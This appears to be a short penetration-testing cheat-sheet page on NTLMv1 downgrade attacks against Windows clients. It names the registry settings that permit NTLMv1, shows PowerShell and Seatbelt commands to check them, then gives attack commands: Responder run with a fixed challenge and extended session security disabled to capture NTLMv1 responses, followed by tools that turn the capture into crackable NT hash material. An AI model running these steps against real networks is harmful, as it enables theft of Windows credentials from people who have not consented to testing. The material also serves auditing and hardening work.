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NTLMv1 Downgrade
Client sends NTLMv1 response when
LmCompatibilityLevel exists and is 2 or lower, which can be downgraded to "NTLMv1 w/o SSP" when NtlmMinClientSec is 0x20 or lower:Property Name | Property Path |
|---|---|
HKLM\SYSTEM\CurrentControlSet\Control\Lsa | |
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0 |
Check with PowerShell:
PS > (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name LmCompatibilityLevel).LmCompatibilityLevel
2
PS > $decValue = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ -Name NtlmMinClientSec).NtlmMinClientSec
PS > $hexValue = "0x" + [string]::Format("{0:x}", $decValue)
PS > $hexValue
0x20
Cmd > .\Seatbelt.exe NTLMSettings
Exploit with Responder with a known challenge of
1122334455667788 (see Authentication Coercion to trigger callbacks):$ sudo ./Responder.py -I eth0 -v --lm --disable-ess
Calculate the token:
$ python ntlmv1.py --ntlmv1 '<NTLMv1_RESPONSE_STRING>'
Check the final 2 bytes (4 characters) of the NT hash:
$ ~/tools/hashcat-utils/src/ct3_to_ntlm.bin <CT3> 1122334455667788
Last modified 2mo ago